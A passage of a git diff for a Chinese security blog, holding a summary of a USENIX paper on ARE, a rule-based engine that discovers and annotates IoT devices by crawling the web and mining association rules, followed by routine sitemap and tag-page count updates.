  • 这篇文章提出了一种基于采集规则的引擎（ARE），它可以自动生成用于在没有任何训练数据的情况下发现和注释物联网设备的规则。ARE通过利用来自物联网设备的应用层响应数据和相关网站中的产品描述来构建设备规则，以进行设备注释。我们将事务定义为对产品描述的唯一响应之间的映射。
  • 为了收集交易集，ARE提取响应数据中的相关术语作为抓取网站的搜索查询。ARE使用关联算法以（类型，供应商和产品）的形式生成物联网设备注释的规则。我们进行实验和三个应用程序来验证ARE的有效性。

2. 背景与动机：

  • 物联网蓬勃发展，造就了物联网设备的广泛应用，它不仅种类繁多，包括摄像头、打印机、路由器、电视盒子、工控系统、医疗设备等，而且数量庞大，据统计，每天就会新增5500000台物联网设备。
  • 但是由于设备脆弱、缺乏管理和配置不当，物联网设备相比传统计算机要更不安全，比如之前爆发的Mirai僵尸网络，给美国造成了重大的损失。因此，为了更主动地保护IOT设备，提前发现、登记和注释物联网设备成为先决条件。
  • 设备注释的内容通常为“设备类型(e.g.,routers) + 供应商(e.g.,CISCO) + 产品型号(e.g.,TV-IP302P)”，传统生成设备注释的方法有基于指纹的，也有使用标志获取的，前者对数据集和大量设备模型的要求很高，而后者需要专业知识的人工方式，因此不可能用于大规模注释而且很难去维护更新。

所以，作者希望提出一种减少对数据集和人工依赖的注释方式。本文的方法主要基于两个事实，第一个Figure 1是制造商通常会将相关信息硬编码到IOT设备，第二个Figure 2是有许多网站（如产品测评）会描述设备产品。从第一个事实，我们可以从应用层数据包获取关键词，然后根据这些关键词依据第二个事实进行网页爬虫，以获取网页上的相关描述，然后对这些描述进行自然语言处理和数据挖掘，从而建立起基于规则的映射。

3. 核心工作—Rule Miner：

Rule Miner由三个部分构成，Transaction set是一对由应用层数据和相关网页组成的文本单元，它生成了一种规则： ，其中A是从应用层数据包中提取的一些特征，B是从相关网页抓取的设备描述；Device entity recognition结合了基于语料库的NER和基于规则的NER(命名实体识别)，前者解决了设备类型和供应商名，后者使用正则表达式识别出产品型号。但是由于一个不相干的网页也可能包含设备类型的关键词(如switch)，以及一个短语可能因为满足正则表达式而被认为是型号所以表现并不好，但好在实体与实体之间具有很高的依赖性，这三个元素常常一起出现。数据挖掘算法Apriori algorithm用于从Transaction中学习“关系”。

4. 完整架构和应用

完整的ARE除了核心Rule Miner之外，还有Transaction Collection用于收集响应数据和网络爬虫，Rule Library用于存储生成的规则，Planner用于更新规则。
作者主要将ARE应用于三个方面，一是互联网范围的设备测量统计，二是对受损设备进行检测，三是对易受攻击的设备进行分析。

之后对ARE的效果与Nmap进行比较和评估，从产生规则的数量、规则的准确率和覆盖率、动态学习规则的能力以及时间代价，ARE都要优于Nmap。

5. 工作总结：

  • 提出ARE的框架：不需要数据集和人工干预，自动生成用于IOT设备识别的规则。
  • 实现了ARE的原型并评估了它的效果：ARE在一周内生成了大量的规则，而且IOT设备识别的细粒度超过现有工具。
  • 应用于三个场景中，主要发现有：大量IOT设备在互联网中可以抵达；成千上万的IOT设备易受攻击且暴露给了公众。
]]> + + + + + 顶会论文 + + + + + + + USENIX + + 数据挖掘 + + 自然语言处理 + + + + + + + 利用python实现BIBA模型 diff --git a/sitemap.xml b/sitemap.xml index 02c59196..7b06a71a 100644 --- a/sitemap.xml +++ b/sitemap.xml @@ -2,9 +2,16 @@ - https://cool-y.github.io/2019/03/23/%E5%9F%BA%E4%BA%8E%E8%A7%84%E5%88%99%E5%BC%95%E6%93%8E%E5%8F%91%E7%8E%B0IOT%E8%AE%BE%E5%A4%87/ + https://cool-y.github.io/2019/12/25/TCPDUMP%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB%E6%BC%8F%E6%B4%9E/ - 2019-03-23T04:20:06.962Z + 2019-03-23T04:35:48.091Z + + + + + https://cool-y.github.io/2018/12/23/%E5%9F%BA%E4%BA%8E%E8%A7%84%E5%88%99%E5%BC%95%E6%93%8E%E5%8F%91%E7%8E%B0IOT%E8%AE%BE%E5%A4%87/ + + 2019-03-23T04:22:28.568Z diff --git a/tags/QQ/index.html b/tags/QQ/index.html index 336f8762..fd433863 100644 --- a/tags/QQ/index.html +++ b/tags/QQ/index.html @@ -367,7 +367,7 @@ - 6 + 7 日志 @@ -466,7 +466,7 @@ - 7.7k + 11.1k diff --git a/tags/SSH/index.html b/tags/SSH/index.html index b9579e2d..2198aa94 100644 --- a/tags/SSH/index.html +++ b/tags/SSH/index.html @@ -367,7 +367,7 @@ - 6 + 7 日志 @@ -466,7 +466,7 @@ - 7.7k + 11.1k diff --git a/tags/USENIX/index.html b/tags/USENIX/index.html index 46026e0c..e83356b0 100644 --- a/tags/USENIX/index.html +++ b/tags/USENIX/index.html @@ -295,7 +295,7 @@

-

- 6 + 7 日志 @@ -466,7 +466,7 @@ - 7.7k + 11.1k diff --git a/tags/index.html b/tags/index.html index 8242b8bf..a9f085c9 100644 --- a/tags/index.html +++ b/tags/index.html @@ -359,7 +359,7 @@ - 6 + 7 日志 @@ -458,7 +458,7 @@ - 7.7k + 11.1k diff --git a/tags/python/index.html b/tags/python/index.html index 22dc872d..2f02f712 100644 --- a/tags/python/index.html +++ b/tags/python/index.html @@ -367,7 +367,7 @@ - 6 + 7 日志 @@ -466,7 +466,7 @@ - 7.7k + 11.1k diff --git a/tags/wifi/index.html b/tags/wifi/index.html index cefc539f..c9041368 100644 --- a/tags/wifi/index.html +++ b/tags/wifi/index.html @@ -367,7 +367,7 @@ - 6 + 7 日志 @@ -466,7 +466,7 @@ - 7.7k + 11.1k diff --git a/tags/侧信道攻击/index.html b/tags/侧信道攻击/index.html index 3cdd8d72..7cc2e2b0 100644 --- a/tags/侧信道攻击/index.html +++ b/tags/侧信道攻击/index.html @@ -367,7 +367,7 @@ - 6 + 7 日志 @@ -466,7 +466,7 @@ - 7.7k + 11.1k diff --git a/tags/密码/index.html b/tags/密码/index.html index 222089ed..086136a9 100644 --- a/tags/密码/index.html +++ b/tags/密码/index.html @@ -367,7 +367,7 @@ - 6 + 7 日志 @@ -466,7 +466,7 @@ - 7.7k + 11.1k diff --git a/tags/小米/index.html b/tags/小米/index.html index 3017b3ba..0d974562 100644 --- a/tags/小米/index.html +++ b/tags/小米/index.html @@ -367,7 +367,7 @@ - 6 + 7 日志 @@ -466,7 +466,7 @@ - 7.7k + 11.1k diff --git a/tags/数据库/index.html b/tags/数据库/index.html index 14485378..1134bce9 100644 --- a/tags/数据库/index.html +++ b/tags/数据库/index.html @@ -367,7 +367,7 @@ - 6 + 7 日志 @@ -466,7 +466,7 @@ - 7.7k + 11.1k diff --git a/tags/数据挖掘/index.html b/tags/数据挖掘/index.html index 6f70c1e0..35406c22 100644 --- a/tags/数据挖掘/index.html +++ b/tags/数据挖掘/index.html @@ -295,7 +295,7 @@

-

- 6 + 7 日志 @@ -466,7 +466,7 @@ - 7.7k + 11.1k diff --git a/tags/文件格式/index.html b/tags/文件格式/index.html index cd4955fa..db88c9ca 100644 --- a/tags/文件格式/index.html +++ b/tags/文件格式/index.html @@ -367,7 +367,7 @@ - 6 + 7 日志 @@ -466,7 +466,7 @@ - 7.7k + 11.1k diff --git a/tags/模型实现/index.html b/tags/模型实现/index.html index ebd6d2ea..2e8628c7 100644 --- a/tags/模型实现/index.html +++ b/tags/模型实现/index.html @@ -367,7 +367,7 @@ - 6 + 7 日志 @@ -466,7 +466,7 @@ - 7.7k + 11.1k diff --git a/tags/自然语言处理/index.html b/tags/自然语言处理/index.html index dd9daec0..2d34571a 100644 --- a/tags/自然语言处理/index.html +++ b/tags/自然语言处理/index.html @@ -295,7 +295,7 @@

-

- 6 + 7 日志 @@ -466,7 +466,7 @@ - 7.7k + 11.1k diff --git a/tags/访问控制/index.html b/tags/访问控制/index.html index 3a58e9e2..e7466c64 100644 --- a/tags/访问控制/index.html +++ b/tags/访问控制/index.html @@ -367,7 +367,7 @@ - 6 + 7 日志 @@ -466,7 +466,7 @@ - 7.7k + 11.1k